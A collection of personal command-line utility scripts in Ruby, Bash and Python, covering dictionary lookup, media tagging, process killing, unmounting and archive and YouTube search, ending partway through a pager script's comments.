"http://tools.wmflabs.org/enwiktdefns/enwikt-defs-latest-en.tsv.gz" # ALL = "http://tools.wmflabs.org/enwiktdefns/enwikt-defs-latest-all.tsv.gz" ENGLISH = "https://archive.org/download/enwikt-tsv/enwikt-defs-20180420-en.tsv.gz" ALL = "https://archive.org/download/enwikt-tsv/enwikt-defs-20180420-all.tsv.gz" CACHE_DIR = File.expand_path("~/.cache/wict") INDEX = File.join CACHE_DIR, "enwikt-defs.idx" ################################################################### def options gem "slop", "~> 3.6" require 'slop' # lazy loaded @opts ||= Slop.parse(help: true, strict: true) do banner 'Usage: wict [options] <word(s)...>' on 'u', 'update', 'Download the English wikipedia dictionary' on 'a', 'all', 'Download the wikipedia dictionary for all languages' end end def bdb_open(filename, opts=nil) bdb = BDB::new # B-Tree database; keys may have multiple values if !bdb.open(filename, opts) raise "open error: #{bdb.errmsg(bdb.ecode)} (filename: #{filename.inspect})" end if block_given? result = yield bdb bdb.close result else bdb end end def backup(src) if File.exists? src counter = 1 dest = "#{src}.bak" while File.exists? dest counter += 1 dest = "#{src}.bak#{counter}" end puts " |_ database backed up to: #{dest.inspect}" File.rename(src, dest) end end ################################################################### def update url = options.a? ? ALL : ENGLISH puts "* Re-importing database..." puts " |_ source: #{url.inspect}" backup(INDEX) IO.popen("curl -s -L #{url} | gunzip -c", "r") do |tsv| bdb_open(INDEX, BDB::OWRITER | BDB::OCREAT) do |bdb| tsv.each.with_index do |line, n| lang, word, type, definition = line.strip.split("\t") #p [:lang, lang, :word, word, :type, type, :definition, definition] # TODO: figure out how to do case-insensitive searches without downcasing the actual key bdb.putdup(word.downcase, definition) print "\e[1G |_ words imported: #{n.commatize}\e[J" if n % 137 == 0 end puts puts "* Done!" end end end ################################################################### def lookup(args) bdb_open(INDEX) do |bdb| lesspipe(wrap: true) do |less| args.map(&:downcase).each do |arg| words = bdb.fwmkeys(arg) words.each do |word| defs = bdb.getlist(word) if defs.any? less.puts "<14>#{word}</14>".colorize defs.each { |defn| less.puts " #{highlight(defn).colorize}" } less.puts end end end end end end def wordcount bdb_open(INDEX) { |bdb| bdb.size } end def highlight(defn) s = defn.dup xforms = { /^#\s*/ => proc { "<8>*</8> " }, # p [:squiggle, $1] /\{\{([^\|\}]+?)\}\}/ => proc { "<9>[#{$1}]</9>" }, # p [:squiggle_pair, $1, $2] /\{\{([^\|\}]+?)\|([^\}]+?)\}\}/ => proc { "<9>[#{$1}]</9> #{highlight $2}" }, # p [:brackets, $1, $2] /\[\[([^\|]+?)\]\]/ => proc { "<15>#{$1}</15>" }, # p [:alternate_brackets, $1, $2] /\[\[([^\|\]]+?)\|([^\|\]]+?)\]\]/ => proc { highlight "[[#{$2}]]" }, } xforms.each do |pattern,block| s.gsub! pattern, &block end "<7>#{s}</7>" end def test_highlighter defs = ''' # {{non-gloss definition|A [[greeting]] ([[salutation]]) said when [[meet]]ing someone or [[acknowledge|acknowledging]] someone’s [[arrival]] or [[presence]].}} # {{non-gloss definition|A greeting used when [[answer]]ing the [[telephone]].}} # {{non-gloss definition|A call for [[response]] if it is not clear if anyone is present or listening, or if a telephone conversation may have been [[disconnect]]ed.}} # {{colloquial}} {{non-gloss definition|Used [[sarcastic]]ally to imply that the person addressed or referred to has done something the speaker or writer considers to be [[foolish]].}} # {{non-gloss definition|An expression of [[puzzlement]] or [[discovery]].}} # "[[hello#Interjection|Hello]]!" or an equivalent greeting. #{{dated}} A female [[telephone operator]] # A semi-formal form of [[hello]]. # {{offensive|but now often|_|humorous}} {{non-gloss definition|A response to being greeted with "[[hello]]".}} # [[bright]]/[[light]] [[orange]] # {{plural of|hello}} '''.lines.map(&:strip).reject(&:blank?) defs.each do |defn| puts "="*50 puts highlight(defn).colorize end exit end ################################################################### if $0 == __FILE__ # test_highlighter Dir.mkdir CACHE_DIR unless File.exists? CACHE_DIR if options.u? or options.a? update else if not File.exists? INDEX puts "You must first download a database. Run 'wict -u'." exit 1 elsif ARGV.empty? puts "Pass the word(s) you want to look up as (an) argument(s)." puts "(#{wordcount} words in dictionary)" else lookup(ARGV) end end end <file_sep># How to combine multiple files into one contiguous file with devicemapper # for testing, Create 4 files echo foo | dd of=block0 cbs=512 conv=block echo bar | dd of=block1 cbs=512 conv=block echo bat | dd of=block2 cbs=512 conv=block echo baz | dd of=block3 cbs=512 conv=block # Create a loop device for each of the 4 files losetup /dev/loop0 block0 losetup /dev/loop1 block1 losetup /dev/loop2 block2 losetup /dev/loop3 block3 # Create a device map named "test" using those loop devices ( echo "0 1 linear /dev/loop0 0" echo "1 1 linear /dev/loop1 0" echo "2 1 linear /dev/loop2 0" echo "3 1 linear /dev/loop3 0" ) | dmsetup create test cat /dev/mapper/test <file_sep>#!/usr/bin/env ruby # Background information: https://gist.github.com/lelandbatey/8677901 infile, outfile = ARGV if infile.nil? puts "usage: whiteboard-cleaner <input image> [<output image>]" exit 1 elsif outfile.nil? require 'epitools' infile = Path[infile] outfile = infile.with(basename: "#{infile.basename}-clean") end cmd = ["convert", infile.to_s] cmd += %w[-morphology Convolve DoG:15,100,0 -negate -normalize -blur 0x1 -channel RBG -level 60%,91%,0.1] cmd += [outfile.to_s] p cmd system *cmd puts system "ls", "-l", outfile.to_s<file_sep>#!/bin/bash BINDIR=~/.steam/steam/steamapps/common/Fistful\ of\ Frags/sdk/bin/ LD_LIBRARY_PATH="$BINDIR" run "$BINDIR"/vpk_linux32 "$@" <file_sep>#!/bin/bash # 0 = icon name and window title # 1 = icon name # 2 = window title echo -ne "\033]0;$*\007" <file_sep>#!/bin/bash # # PROGRAM: # ks (Killsearch v0.1 by <NAME>) # # DESCRIPTION: # Killsearch will search your processes for a substring, and kill all # matching processes with the specified signal (default = -9). # echo if [[ $* == "" ]] then echo "Usage: ks [kill SIGNAL] [grep pattern]" else KILLSIG="-9" if [[ ${1:0:1} == "-" ]] then if [[ $2 == "" ]] then echo "You need more parameters!" exit else KILLSIG=$1 shift SEARCHFOR="$*" fi else SEARCHFOR="$*" fi # echo "searchfor = $SEARCHFOR, killparam = $KILLPARAM, ps = $PSCMD" echo "Processes to kill..." echo "----------------------------------------------------------------" if psfind "$SEARCHFOR" | grep -v $0 then echo "----------------------------------------------------------------" echo echo -n "Kill these processes with signal '$KILLSIG'? (Y/n) " read INPUT if [[ $INPUT == "n" || $INPUT == "N" ]] then echo "Not killing anything." else echo echo "Killing processes..." kill $KILLSIG `psfind "$SEARCHFOR" | grep -v $0 | awk '{print $1}'` fi else echo "Found NOTHING!" fi fi echo <file_sep>#!/bin/bash # # /etc/xdg/pacaur/config # # The following options are commented out with their default values listed. # If you wish to use different values, uncomment and update the values. # The Color and VerbosePkgLists options can be enabled in /etc/pacman.conf. #builddir="${BUILDDIR:-$tmpdir}" # build directory #editor="${EDITOR:-vi}" # PKGBUILD editor #editpkgbuild=true # edit PKGBUILD and install scripts #fallback=true # pacman fallback to the AUR #clean=true # clean up after package install #cleandevel=true # clean up devel package #silent=false # silence output #sortby=popularity # sort method (name|votes|popularity) #sudoloop=false # prevent sudo timeout clonedir=/home/epi/aur <file_sep>#!/bin/bash HARD_DIR=/usr/lib/hardening-wrapper if [ -d $HARD_DIR ]; then PATH="$HARD_DIR/bin:$PATH" make "$@" else echo "Error: 'hardening-wrapper' package isn't installed." echo "(You should fix that.)" fi <file_sep>#!/usr/bin/env ruby ######################################################## require 'open-uri' require 'oga' ######################################################## class String def url? match(%r{^https?://.+}) end end args = ARGV args.each do |arg| unless arg.url? puts "Error: #{arg} isn't an url" next end html = URI.open(arg).read doc = Oga.parse_html(html) # <meta data-n-head="ssr" property="music:duration" content="167">'] if og_duration = doc.at_css("meta[property='music:duration']") secs = og_duration["content"].to_i mins, secs = secs.divmod(60) hours, mins = mins.divmod(60) length = "%0.2d" % secs length = "%0.2d:" % mins + length if mins > 0 length = "%d:" % hours + length if hours > 0 else length = nil end # <meta data-n-head="ssr" property="og:title" content="<NAME> - Space Walker"> if og_title = doc.at_css("meta[property='og:title']") title = og_title["content"] title += " (#{length})" if length puts title else $stderr.puts "meta og:title not found" end # python version: re.findall("<meta[^>]+og:title[^>]+content=\"([^\"]+)\">", data) end <file_sep>#!/bin/bash touch "$*" open "$*" <file_sep>#!/bin/bash # --dmesg # --user # --system CMD="sudoifnotroot journalctl" if [ "$1" == "" ]; then $CMD --since=yesterday | less +F else ARG="$1" shift $CMD -u "*$ARG*" "$@" | less +F fi<file_sep>#!/usr/bin/env ruby require 'epitools' BBSES = %{ mbrserver.com bbs.inktwo.com excelsiorbbs.ddns.net:2000 blackflag.acid.org bbs.thesprawl.city bbs.electronicchicken.com bbs.thebrokenbubble.com bbs.pharcyde.org bbs.diskshop.ca d1st.org 1984.ws hysteriabbs.com bloodisland.ph4.se bbs.godta.com }.nice_lines.map(&:strip) def telnet(host) puts puts "Connecting to #{host}..." host, port = host.split(":") port ||= "23" exec("cp437", "telnet", host, port) end def parse_choice(str) str = str.strip if str =~ /^(\d+)$/ BBSES[$1.to_i - 1] elsif str.blank? nil else str end end if arg = ARGV.first if host = parse_choice(arg) telnet host exit else puts "<12>#{arg} <8>isn't a valid choice. Try again.".colorize puts end end BBSES.each.with_index do |option, i| puts "<15>#{i+1}<8>. <#{(i%6)+10}>#{option}".colorize end puts loop do print "<15>pick<12>> ".colorize host = parse_choice STDIN.gets break if host end telnet host <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: docker-usage [options]" # on "a", "along", "desc" # on "b=", "blong", "desc", default: "" end args = ARGV ######################################################## class Image < Struct.new(:name, :tag, :image_id, :age, :size) def self.from_line(line) image = new(*line.chomp.split(/ {2,}/)) image.convert_size! image end def convert_size! return unless size.is_a? String if size =~ /^([\d\.]+)([A-Z]+)$/i n = $1.to_f units = $2 scale = case units.upcase when "KB" then 1.thousand when "MB" then 1.million when "GB" then 1.billion when "TB" then 1.trillion else 1 end self.size = (n * scale).to_i else raise "Couldn't parse #{size}" end end end images = IO.popen(["docker","image","ls"], &:read).each_line.drop(1).map { |line| Image.from_line(line) } images.sort_by(&:size).each do |image| puts "<7>#{image.size.commatize.rjust(20)} <11>#{image.name} <14>#{image.tag} <8>(<7>#{image.age}<8>)".colorize end puts "-----------------------------------------------------------------------" puts "<7>total usage: <9>#{images.sum(&:size).commatize} <7>bytes".colorize <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: tag [options]" on "n", "dryrun", "do nothing" # on "b=", "blong", "desc", default: "" end ######################################################## paths = ARGV.map &:to_Path tmp = Path.tmpdir paths.each do |inp| out = tmp/"tagged.#{inp.ext}" artist, title = inp.basename.split(/\b {1,3}- {1,3}\b/, 2) if artist =~ /^(\d{1,2})(?:\.| -) (.+)/ # starts with "00. " or "00 - " track = $1.to_i artist = $2 end title, artist = artist, title if title.nil? # refrence: http://jonhall.info/create_id3_tags_using_ffmpeg/ tags = {} tags[:artist] = artist tags[:title] = title tags[:track] = track if track cmd = ["ffmpeg", "-hide_banner", "-v", "error", "-i", inp, "-c", "copy"] cmd += tags.flat_map { |k,v| ["-metadata", "#{k}=#{v}"] } cmd << out puts "* #{inp.filename}" tags.each { |k,v| puts " |_ #{k}: #{v}" } system *cmd puts " |_ outsize: #{out.size.commatize}" puts if out.size < 1024 # or (out.size - inp.size) > -128000 out.rm raise "Error: resulting file is too small." else out.mv inp end end tmp.rm <file_sep>#!/usr/bin/env ruby require 'epitools' def help! puts "usage: <input video>[ <input video> [...]] <output video extension>" exit 1 end args = ARGV help! if args.size < 2 ext = args.pop help! unless ext =~ /^\.?[^\.]{3,5}$/ args.each do |arg| input = arg.to_Path output = input.with(ext: ext) puts puts "* Copying: #{input.filename}" puts " to: #{output.filename}" system "ffmpeg", "-v", "16", "-i", input, "-c", "copy", output end <file_sep>#!/bin/sh if type setopt &> /dev/null; then CURRENT_SHELL=zsh else if [ -n "$BASH" ]; then CURRENT_SHELL=bash elif help | grep "Built-in commands:" > /dev/null; then CURRENT_SHELL=busybox else echo $SHELL unknown ps | grep $$ CURRENT_SHELL=unknown fi fi export CURRENT_SHELL echo Current shell: $CURRENT_SHELL <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: asn <host(s), url(s), or ip address(es)>" end args = ARGV if args.empty? puts opts exit 1 end ######################################################## args.each do |arg| case arg when %r{(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})} ip = $1 when %r{^(?:https?|ftp|gopher)://(.+)/$}, %r{(\w+\.\w+)} host = $1.gsub(/:\d+$/, '') puts "<8>[<9>+<8>] <7>Resolving <15>#{host}<7>...".colorize ip = Resolv.getaddress(host) else puts "Error: don't recognize #{arg}" end puts "<8>[<3>-<8>] <7>IP address is <15>#{ip}".colorize begin reversehost = Resolv.getname(ip) puts "<8>[<3>-<8>] <7>Reverse host is <15>#{reversehost}".colorize rescue Resolv::ResolvError end puts "<8>[<9>+<8>] <7>Looking up BGP info...".colorize result = IO.popen(["bgpview-cli", "ip", ip], &:read) puts puts result.gsub(/^(\s*\w+): (.+)$/) { "<3>#{$1}: <11>#{$2}" }.colorize end <file_sep>#!/bin/bash if [[ ! $# -eq 2 ]]; then echo "usage: mysql-diff <database1> <database2>" exit fi DB1="$1" DB2="$2" FILE1="/tmp/mysqldiff-$DB1.sql" FILE2="/tmp/mysqldiff-$DB2.sql" mysqldump --skip-comments --skip-extended-insert -u root -p "$DB1" > "$FILE1" mysqldump --skip-comments --skip-extended-insert -u root -p "$DB2" > "$FILE2" diff -u "$FILE1" "$FILE2" | less -S rm "$FILE1" "$FILE2"<file_sep>#!/bin/bash termtitle "[$1]" MOSH_TITLE_NOPREFIX=1 mosh "$@" <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## # TODOs: # - the server-side search is very slow, so it should have an extra proxy in front which notifies the client that the search is happening, how many people are in the search queue, and the estimated time it'll take to finish (optionally: stream results as they come in) ######################################################## class Result < Struct.new(:json) def self.from_line(line) new JSON.parse(line) end MAX_DESC_SIZE = 150 TYPES = %w[] def description json["description"] end def short_description return nil unless description (description.size > MAX_DESC_SIZE) ? description[0..MAX_DESC_SIZE] + "..." : description end def title json["title"] end def tags [ json["subject"] ].flatten end def collections [ json["collection"] ].flatten end def url "https://archive.org/details/#{json["identifier"]}" end def type json["mediatype"] end def creator json["creator"] end def date json["date"]&.split("T")&.first end def time json["date"]&.split("T")&.last end def creator_email json["uploader"] end def print(io=STDOUT) io.puts "<8>[<7>#{date}<8>] <11>#{title} <8>(<14>#{type}<8>)".colorize io.puts " <3>creator: <9>#{creator} <8>(<7>#{creator_email}<8>)".colorize io.puts " tags: #{tags.join("<8>,</8> ")} <8>/</8> #{collections.join("<8>,</8> ")}".colorize io.puts " desc: #{short_description}" if description.colorize io.puts " <15>#{url}".colorize io.puts end end ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: ia-search <query>" # on "a", "along", "desc" # on "b=", "blong", "desc", default: "" end args = ARGV ######################################################## fields = %w[title description collection subject creator mediatype date publicdate addeddate] query = args.join " " cmd = ["ia", "search", "-f", fields.join(','), query] p cmd cached = Path["/tmp/ia-search.#{query.sha256}"] p cache: cached.path if cached.exist? results = cached.read else results = IO.popen(cmd, &:read) cached.write results end # "metadata": { # "identifier": "yepg9jc2hhwpl0uscuc2luhwkcgyppjb4kcfiff3", # "creator": "Loving Liberty Radio Network", # "date": "2020-11-21", # "description": "<p>Hour 1</p><p>* Guest: Former Sheriff <NAME> - CSPOA.org.</p><p>* The Church # of Jesus Christ of Latter-day Saints President Russell  <NAME> Shares a Message of Hope and Healing! ... ", # "scanner": "Internet Archive Python library 1.9.6", # "subject": "Podcast", # "title": "11-21-2020 Liberty RoundTable with <NAME>", # "uploadsoftware": "LifePod-Beta", # "collection": "podcasts", # "mediatype": "audio", # "uploader": "<EMAIL>", # "publicdate": "2020-12-09 06:08:06", # "addeddate": "2020-12-09 06:08:06", # "curation": "[curator]<EMAIL>[/curator][date]20201209061425[/date][comment]checked for malware[/comment]" # }, # result = %{{"date": "2020-12-27T00:00:00Z", "identifier": "12streams2020-2", "creator": "ISOC LIVE", "subject": ["open standards", "web development", "ipv6", "http/2", "dnssec", "TLS", "HSTS", "websites"], "collection": ["isoc-live", "computersandtechvideos"], "title": "12 Streams 2020 #2 - Hacking Web Servers to Make Them More Secure and Faster Using Open Standards - Dan York @ HOPE 2020", "mediatype": "movies"} # {"date": "2020-11-30T00:00:00Z", "identifier": "9782490057801-ARCHIVE", "creator": "<NAME> and <NAME>\u00fcller-Hartmann", "subject": ["telecollaboration", "virtual exchange", "teacher education", "digital technology", "intercultural communication"], "collection": ["opensource", "community"], "title": "Virtual exchange and 21st century teacher education: short papers from the 2019 EVALUATE conference", "mediatype": "texts"} # {"date": "2020-12-14T00:00:00Z", "identifier": "9782490057818-ARCHIVE", "creator": "<NAME>, <NAME>, <NAME>, and <NAME>\u00ebsny", "subject": ["eurocall2020", "computer-assisted language learning", "CALL", "technology", "language learning", "language acquisition", "language teaching"], "collection": ["opensource", "community"], "title": "CALL for widening participation: short papers from EUROCALL 2020", "mediatype": "texts"} # {"date": "2020-11-11T00:00:00Z", "identifier": "9uakptg4ejmzisxn6a0q17rtill8si7u21jkv7uj", "creator": "Longform", "subject": "Podcast", "collection": ["podcasts"], "title": "Episode 417: <NAME>", "mediatype": "audio"} # } lesspipe do |less| results.each_line do |line| r = Result.from_line(line) r.print(less) end end<file_sep>#!/bin/bash wine msiexec /i "$*" <file_sep>#!/bin/bash fuseiso "$1" "$2" <file_sep>#!/bin/bash #if [ "$TERM" == "xterm" -a "$COLORTERM" != "gnome-terminal" ]; then # export PROMPT_COMMAND='echo -ne "\033]30;[`basename "$PWD"`]\007"' #fi export PS1="\\[\e[30m\e[1m\\][\\[\e[0m\e[37m\\]\\@\\[\e[0m\e[30m\e[1m\\]] \\[\e[0m\e[32m\\]\\u\\[\e[0m\e[30m\e[1m\\]@\\[\e[0m\e[32m\e[1m\\]\\h \\[\e[0m\e[30m\e[1m\\]:: \\[\e[0m\e[37m\e[1m\\]\\w \\[\e[0m\e[37m\\]$ \\[\e[0m\\]" <file_sep>#!/bin/bash #updated ffmpeg progress indicator #by <NAME> #for updates visit www.prupert.co.uk #Creative Commons Attribution-Non-Commercial-Share Alike 2.0 UK: England & Wales Licence # Based on the ffmpegprogress bar from: http://handybashscripts.blogspot.com/2011/01/ffmpeg-with-progress-bar-re-work.html # which was based on my initital progress script - circle of life and all that ;) # version 2.0 # 07.04.2011 # now uses apparently better progress detection, based on duration of overall video and progress along the conversion #################################################################################### # USAGE # # 1) Run the script with the name of the file to be converted after the name of the script (e.g. ./ffmpeg-progress.sh "My Awesome Video.mpg) ################################################################################### # Please adjust the following variables as needed. # It is recommended you at least adjust the first variable, the name of the script SCRIPT=ffmpeg-progress.sh LOG=$HOME/ffmpegprog.log display () # Calculate/collect progress { START=$(date +%s); FR_CNT=0; ETA=0; ELAPSED=0 while [ -e /proc/$PID ]; do # Is FFmpeg running? sleep 2 VSTATS=$(awk '{gsub(/frame=/, "")}/./{line=$1-1} END{print line}' \ /tmp/vstats) # Parse vstats file. if [ $VSTATS -gt $FR_CNT ]; then # Parsed sane or no? FR_CNT=$VSTATS PERCENTAGE=$(( 100 * FR_CNT / TOT_FR )) # Progbar calc. ELAPSED=$(( $(date +%s) - START )); echo $ELAPSED > /tmp/elapsed.value ETA=$(date -d @$(awk 'BEGIN{print int(('$ELAPSED' / '$FR_CNT') *\ ('$TOT_FR' - '$FR_CNT'))}') -u +%H:%M:%S) # ETA calc. fi echo -ne "\rFrame:$FR_CNT of $TOT_FR Time:$(date -d @$ELAPSED -u +%H:%M:%S) ETA:$ETA Percent:$PERCENTAGE" # Text for stats output. done } trap "killall ffmpeg $SCRIPT; rm -f "$RM/vstats*"; exit" \ INT TERM EXIT # Kill & clean if stopped. # Get duration and PAL/NTSC fps then calculate total frames. FPS=$(ffprobe "$1" 2>&1 | sed -n "s/.*, \(.*\) tbr.*/\1/p") DUR=$(ffprobe "$1" 2>&1 | sed -n "s/.* Duration: \([^,]*\), .*/\1/p") HRS=$(echo $DUR | cut -d":" -f1) MIN=$(echo $DUR | cut -d":" -f2) SEC=$(echo $DUR | cut -d":" -f3) TOT_FR=$(echo "($HRS*3600+$MIN*60+$SEC)*$FPS" | bc | cut -d"." -f1) if [ ! "$TOT_FR" -gt "0" ]; then echo error; exit; fi # Re-code with it. nice -n 15 ffmpeg -deinterlace -vstats_file /tmp/vstats -y -i "$1" -vcodec libx264 -level 41 -vpre main -vpre medium -crf 24 -threads 0 -sn -acodec libfaac -ab 128k -ac 2 -ar 48000 -vsync 1 -async 1000 -map 0.0:0.0 -map 0.1:0.1 "$1".mkv 2>/dev/null & # CHANGE THIS FOR YOUR FFMPEG COMMAND. PID=$! && echo "ffmpeg PID = $PID" echo "Length: $DUR - Frames: $TOT_FR " display # Show progress. rm -f "$RM"/vstats* # Clean up tmp files. # Statistics for logfile entry. ((BATCH+=$(cat /tmp/elapsed.value))) # Batch time totaling. ELAPSED=$(cat /tmp/elapsed.value) # Per file time. echo "\nDuration: $DUR - Total frames: $TOT_FR" >> $LOG AV_RATE=$(( TOT_FR / ELAPSED )) echo -e "Re-coding time taken: $(date -d @$ELAPSED -u +%H:%M:%S)"\ "at an average rate of $AV_RATE""fps.\n" >> $LOG exit <file_sep>#!/usr/bin/env ruby require 'epitools' # /dev/sda2 on / type ext4 (rw,errors=remount-ro,commit=0) class Mount < Struct.new(:dev, :path, :type, :options) def self.from_line(line) if line =~ %r{^(\S+) on (\S+) type (\S+) \((\S+)\)$} new($1, $2, $3, $4) end end end fuser_types = { "c"=>"current directory", "e"=>"executable being run", "f"=>"open file", "F"=>"open file for writing", "r"=>"root directory", "m"=>"mmap'ed file or shared library" } def processes_holding(mountpoint) # procs = Sys.ps # /maverick: 1865 10335c 14155c 14156c 14157c 14165c 14178c # if `fuser -M -m #{mountpoint}` =~ /#{mointpoint}:\s+(.+)/ # pids, types = $1.scan(/(\d+)(.*)/).transpose # Sys.ps.zip types # end system("fuser", "-v", "-m", mountpoint) # system("lsof", "+D", mountpoint) end def kill_processes_holding(mountpoint) system("fuser", "-k", mountpoint) end def mounts `mount`.lines.map{|line| Mount.from_line(line) }.compact end def unmount(arg) print "unmount #{arg.inspect}: " unless File.directory? arg puts "FAIL! (not a directory)" return false end realpath = File.realpath(arg) mount = mounts. select { |mount| realpath[/^#{Regexp.escape mount.path}/] }. sort_by { |m| m.path.size }. last unless mount puts "FAIL! (not mounted)" return false end # Do the unmount success = if mount.type[/^fuse/] if bin = which("fusermount", "fusermount3", "fusermount2") system(bin, "-u", mount.path) else puts "ERROR: Couldn't find 'fusermount' binary in the path" exit 1 end else system("sudoifnotroot", "umount", mount.path) end if success puts "SUCCESS!" else puts "FAIL!" puts puts "Processes holding the filesystem open:" processes_holding(mount.path) puts if prompt("Kill these processes?") == "y" kill_processes_holding(mount.path) unmount(arg) else puts "Skipping..." puts end end end args = ARGV unless args.any? puts "usage: unmount <directory> [ <directory> [ ... ] ]" exit 1 end for arg in args unmount(arg) end <file_sep>#!/bin/bash agu && agdu <file_sep>#!/usr/bin/env ruby if ARGV.any? gem "slop", "~> 3.6" require 'slop' opts = Slop.parse(help: true, strict: true) do banner "Usage: sum [options]\n\nPurpose: Sum the values piped into STDIN and return their total\n" on 'f=', 'field', 'Field number (starting at 1)', default: 1 on 'd=', 'delimiter', 'Delimiter between fields (defaults to whitespace)' end else class FakeOptions; def method_missing(*args); nil; end; end opts = FakeOptions.new end field = opts[:field].to_i - 1 delim = opts[:delimiter] || /\s+/ total = STDIN.each_line.map do |line| line.split(delim)[field].to_i end.reduce(:+) puts total<file_sep>#!/usr/bin/env ruby ######################################################## # require 'epitools' require 'oga' gem 'slop', "~> 3.6" require 'slop' ######################################################## def print_node(node) case node when Oga::XML::Comment "<!-- #{node.text} -->" when Oga::XML::Text node.text when Oga::XML::Document "<#{node.type}>" when Oga::XML::Element attrs = node.attributes.map(&:to_xml).join(" ") "<#{node.name}#{" #{attrs}" if attrs}>" else raise "unknown type: #{node.inspect}" end end def print_tree(node, level=0) dent = " "*level puts "#{dent}#{print_node node}" node.children.each do |child| print_tree(child, level+1) end end ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: nicexml-oga [options]" on "H", "html", "Treat input as HTML" # on "a", "along", "desc" # on "b=", "blong", "desc", default: "" end args = ARGV ######################################################## args.each do |arg| data = File.read(arg) doc = opts.html? ? Oga.parse_html(data) : Oga.parse_xml(data) print_tree doc.root_node end <file_sep>#!/bin/bash du -d 1 -c -m -x "$@" <file_sep>#!/usr/bin/env ruby gem "slop", "~> 3.6" require 'slop' require 'epitools' def packages_that_depend_on(package) result = [] # [`pacman -Sii #{package}`, `pacman -Qi #{package}`].each do |output| [`pacman -Sii #{package}`].each do |output| output.each_line do |l| if l =~ /Required By\s+: (.+)/ result += $1.strip.split unless $1["None"] break end end end result end for package in ARGV puts "<8>=== <14>#{package} <8>============".colorize puts packages = packages_that_depend_on(package) if packages.empty? puts " <12>None".colorize else system "pacman", "-Ss", "^(#{packages.join '|'})$" # upstream packages system "pacman", "-Qs", "^(#{packages.join '|'})$" # packages that are only installed locally end puts end <file_sep>#!/usr/bin/env python ################################################################################################ import sys ################################################################################################ reset = '\033[0m' bold = '\033[01m' disable = '\033[02m' underline = '\033[04m' reverse = '\033[07m' strikethrough = '\033[09m' invisible = '\033[08m' black = '\033[30m' red = '\033[31m' green = '\033[32m' orange = '\033[33m' blue = '\033[34m' purple = '\033[35m' cyan = '\033[36m' white = '\033[37m' grey = '\033[90m' lightred = '\033[91m' lightgreen = '\033[92m' yellow = '\033[93m' lightblue = '\033[94m' pink = '\033[95m' lightcyan = '\033[96m' ################################################################################################ try: from youtube_search import YoutubeSearch except ModuleNotFoundError: print(f"Missing youtube search support; run '{bold}pip install --user youtube-search{reset}' first.") sys.exit(1) ################################################################################################ def help(): print("usage: yt [options] <query>") print() print("options:") print(" -n <num> How many results to return") print(" -j JSON output") print() ################################################################################################ # Advanced Argparsing args = sys.argv[1:] if len(args) == 0 or "--help" in args or "-h" in args: help() sys.exit(1) if "-n" in args: pos = args.index("-n") amount = int(args[pos+1]) args[pos:pos+2] = [] else: amount = None if "-j" in args: args.remove("-j") json_mode = True else: json_mode = False ################################################################################################ query = ' '.join(args) if not json_mode: print(f"{grey}* {white}Searching for: {bold}{yellow}{query}{reset}...") results = YoutubeSearch(query, max_results=20).to_dict() numbered_results = [ (i+1, r) for i, r in enumerate(results) ] if amount: numbered_results = numbered_results[0:amount] ################################################################################################ if json_mode: import json for n, r in numbered_results: print(json.dumps(r)) else: for n, r in reversed(numbered_results): # r = {'id': 'Zo_jdDGwdg0', # 'thumbnails': ['https://i.ytimg.com/vi/Zo_jdDGwdg0/hqdefault.jpg?sqp=-oaymwEjCOADEI4CSFryq4qpAxUIARUAAAAAGAElAADIQj0AgKJDeAE=&rs=AOn4CLDN0XzvVvVswzAx91QUuNMvy5J4qw'], # 'title': 'Swans The Sound of Freedom', # 'long_desc': None, # 'channel': 'Jännis Bunker', # 'duration': '4:36', # 'views': '932 views', # 'url_suffix': '/watch?v=Zo_jdDGwdg0'}, indent = " " * (len(str(n)) + 2) print(f"{lightcyan}{n}. {bold}{white}{r['title']}{reset} {grey}[{white}{r['duration']}{grey}]{reset}") print(f"{indent}{grey}by {lightgreen}{r['channel']} {grey}({white}{r['views']}{grey}){reset}") print(f"{indent}{bold}{blue}https://youtu.be/{r['id']}{reset}") if r['long_desc']: print(f"{indent}{r['long_desc']}") print() <file_sep>#!/bin/bash readelf -Ws "$@" <file_sep>#!/bin/bash if [[ $# < 1 ]]; then echo "usage: ren <filename(s)>" exit 1 fi while [[ $# > 0 ]]; do old="$1" shift echo "old: $old" read -e -p "new: " -i "$old" new mv -v --backup=numbered "$old" "$new" echo done <file_sep>#!/usr/bin/env ruby # # like less, but it doesn't stop working if your input stream pauses # # ------------------------- # TODOs: # ------------------------- # # + String#decoded_size => the true length of the string after it's decoded by the terminal (after interpreting ansi escape sequences, expanding tabs, printing backspaces, printing double-wide unicode chars, etc.) # |_ if we need to cut these strings, it makes sense to turn them into braided ropes (an array of string chunks and terminal codes which can be quickly indexed by decoded-position (using binary search? (tbh, the only operation that matters is slicing them at the screen boundary, so maybe it makes more sense to just have a fast way of decoding and slicing them, then cache those results))) # + a general purpose way of pointing the renderer at arbitrary buffers (for wrapping and filtering (and virtual buffers which get generated as they're accessed)) # + toggling line numbers should update the terminal width (and re-wraps the input, if necessary) # + Wrapping # - wrapline(line) wraps a single line (this should be a core_ext) # - make streaming work (sparse on-demand-generated array + line-length pre-scanning (oof: can't use `scan()` anymore)) # - handle terminal resize events # |_ clears the wrapped line cache (oof) # - fails if your file is one line with a million 'a's repeated (also, the line count says "2/1" when you load the file) # + Search # + Syntax highlighting (rouge/coderay/bat/c/pygments) # + Other possible names: "most", "least", "pager" # - moar is more moar than less is more # - more is more by being less than less is less than more # + "Log" mode (tail, *and* deduplicate lines) # + Mouse wheel support # + Syntax highlighting (see the "c" script) # + Display compressed files (like zless) # + If paging an actual file, memmap it instead of streaming it into memory (to view enormous files) # + [/-key] = search mode; on each keystroke: # - clear screen, move cursor to middle # - spawn 2 threads: each scans away from the cursor (up and down) simultaneously # - each thread scans the history buffer, finds matches, and gathers [line_no, 